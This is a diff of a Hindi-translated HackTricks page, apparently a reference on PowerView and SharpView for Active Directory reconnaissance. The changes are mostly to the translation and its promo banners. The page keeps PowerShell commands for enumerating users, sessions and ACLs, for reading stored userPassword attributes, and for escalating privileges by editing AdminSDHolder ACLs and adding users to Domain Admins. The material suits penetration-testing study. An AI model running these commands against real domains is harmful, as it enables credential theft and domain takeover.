* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos को PR जा करके।
</details>

View file

@ -2,17 +2,22 @@
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जाँच करें!
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या **मुझे** **Twitter** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके**।
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या **मुझे** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) पर PR जमा करके**।
</details>
The most up-to-date version of PowerView will always be in the dev branch of PowerSploit: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
PowerView का सबसे अद्यतन संस्करण हमेशा PowerSploit के dev शाखा में होगा: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
[**SharpView**](https://github.com/tevora-threat/SharpView) एक .NET पोर्ट है [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
@ -70,7 +75,7 @@ Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain D
# Get Forest info
Get-ForestDomain
```
### उपयोगकर्ता, समूह, कंप्यूटर और OUs
### उपयोगकर्ता, समूह, कंप्यूटर और ओयूs
```powershell
# Users
## Get usernames and their groups
@ -144,9 +149,9 @@ Get-LoggedOnLocal -ComputerName <servername> #Get locally logon users at the mom
Get-LastLoggedon -ComputerName <servername> #Get last user logged on (needs admin rigths in host)
Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (needs admin rights in host)
```
### समूह नीति वस्तु - GPOs
### समूह नीति वस्तु - जीपीओ
यदि किसी हमलावर के पास **GPO पर उच्च विशेषाधिकार** होते हैं, तो उसे इसका दुरुपयोग करके **प्राइविलेज इस्कैलेशन** करने की क्षमता हो सकती है, **एक उपयोगकर्ता को अनुमतियाँ जोड़ना**, **किसी होस्ट में स्थानीय व्यवस्थापक उपयोगकर्ता जोड़ना** या **किसी कार्रवाई को करने के लिए एक निर्धारित कार्य** (तत्काल) बनाना।\
यदि किसी हमलावर के पास **जीपीओ पर उच्च विशेषाधिकार** होते हैं, तो वह इसका दुरुपयोग करके **उच्चतम अधिकार (privesc)** प्राप्त कर सकता है, **एक उपयोगकर्ता को अनुमतियाँ जोड़ सकता है**, **किसी होस्ट पर स्थानीय व्यवस्थापक उपयोगकर्ता जोड़ सकता है** या **किसी कार्रवाई को करने के लिए एक निर्धारित कार्य (तत्काल) बना सकता है।\
[**इसके बारे में अधिक जानकारी और इसका दुरुपयोग कैसे करें, उसके लिए इस लिंक का पालन करें**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation).
```powershell
#GPO
@ -208,7 +213,7 @@ Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUser
#Get special rights over All administrators in domain
Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights
```
### साझा फ़ाइलें और फ़ोल्डर्स
### साझा फ़ाइलें और फ़ोल्डर
```powershell
Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers
Find-DomainShare -CheckShareAccess #Search readable shares
@ -231,7 +236,7 @@ Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between
Get-DomainForeingUser #Get users with privileges in other domains inside the forest
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
```
### कमी-लटकते फल
### निम्न **लटकते** **फल**
```powershell
#Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
@ -312,14 +317,18 @@ Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=lo
# Add user to 'Domain Admins'
Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local
```
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जाँच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह।
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या **मुझे** **Twitter** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)****
* **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में PR जमा करके**।
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित देखना चाहते हैं**? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) की जांच करें!
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर फॉलो करें 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) पर PR जमा करके**।
</details>